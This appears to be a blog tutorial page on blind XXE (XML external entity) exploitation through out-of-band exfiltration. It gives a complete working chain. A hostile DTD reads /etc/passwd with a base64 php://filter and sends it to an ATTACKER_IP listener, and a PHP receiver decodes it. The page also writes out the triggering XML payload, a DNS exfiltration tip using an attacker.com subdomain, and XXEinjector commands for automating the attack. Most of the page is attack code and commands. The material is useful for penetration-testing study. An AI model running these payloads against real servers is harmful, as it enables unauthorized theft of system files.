Keyboard shortcuts

Press or to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

🏠 Back to Blog

XXE — Blind Data Exfiltration

Used when the application returns no XML output and no runtime errors — none of the reflected or error-based techniques work.

Out-of-band (OOB) exfiltration

Instead of reading file contents from the response, make the server send the data to you via an HTTP request. The file content is base64-encoded and placed as a URL parameter in a request that the target server makes to your listener.

Step 1 — create xxe.dtd on your machine

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % oob "<!ENTITY content SYSTEM 'http://ATTACKER_IP:8000/?content=%file;'>">
  • %file — reads and base64-encodes the target file
  • %oob — builds an HTTP URL with the encoded content as a query parameter; when triggered, the server requests this URL from your listener

Step 2 — create a PHP listener that auto-decodes (index.php)

<?php
if (isset($_GET['content'])) {
    error_log("\n\n" . base64_decode($_GET['content']));
}
?>

Step 3 — start the PHP server

php -S 0.0.0.0:8000

Step 4 — send the XXE payload to the target

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [
  <!ENTITY % remote SYSTEM "http://ATTACKER_IP:8000/xxe.dtd">
  %remote;
  %oob;
]>
<root>&content;</root>

<root>&content;</root> triggers the %oob entity, which causes the server to issue the HTTP request containing the file data.

Result

The PHP server log will show the decoded file contents:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

Tip: DNS OOB exfiltration is an alternative — encode the file data as a subdomain (ENCODEDTEXT.attacker.com) and capture it with tcpdump. More complex but useful when HTTP egress is restricted.


Automated OOB — XXEinjector

XXEinjector automates basic XXE, CDATA source exfiltration, error-based XXE, and blind OOB XXE.

Setup

git clone https://github.com/enjoiz/XXEinjector.git

Prepare the request file

Copy the raw HTTP request from Burp into a file. Include only the first line of the XML body and add XXEINJECT as the injection position marker:

POST /blind/submitDetails.php HTTP/1.1
Host: TARGET_IP
Content-Type: text/plain;charset=UTF-8
...

<?xml version="1.0" encoding="UTF-8"?>
XXEINJECT

Run

ruby XXEinjector.rb \
  --host=ATTACKER_IP \
  --httpport=8000 \
  --file=/tmp/xxe.req \
  --path=/etc/passwd \
  --oob=http \
  --phpfilter

--phpfilter applies the base64 PHP filter wrapper. Exfiltrated files are saved to Logs/TARGET_IP/path/to/file.log:

cat Logs/TARGET_IP/etc/passwd.log

The tool does not print base64-encoded data directly to stdout — check the Logs directory for results.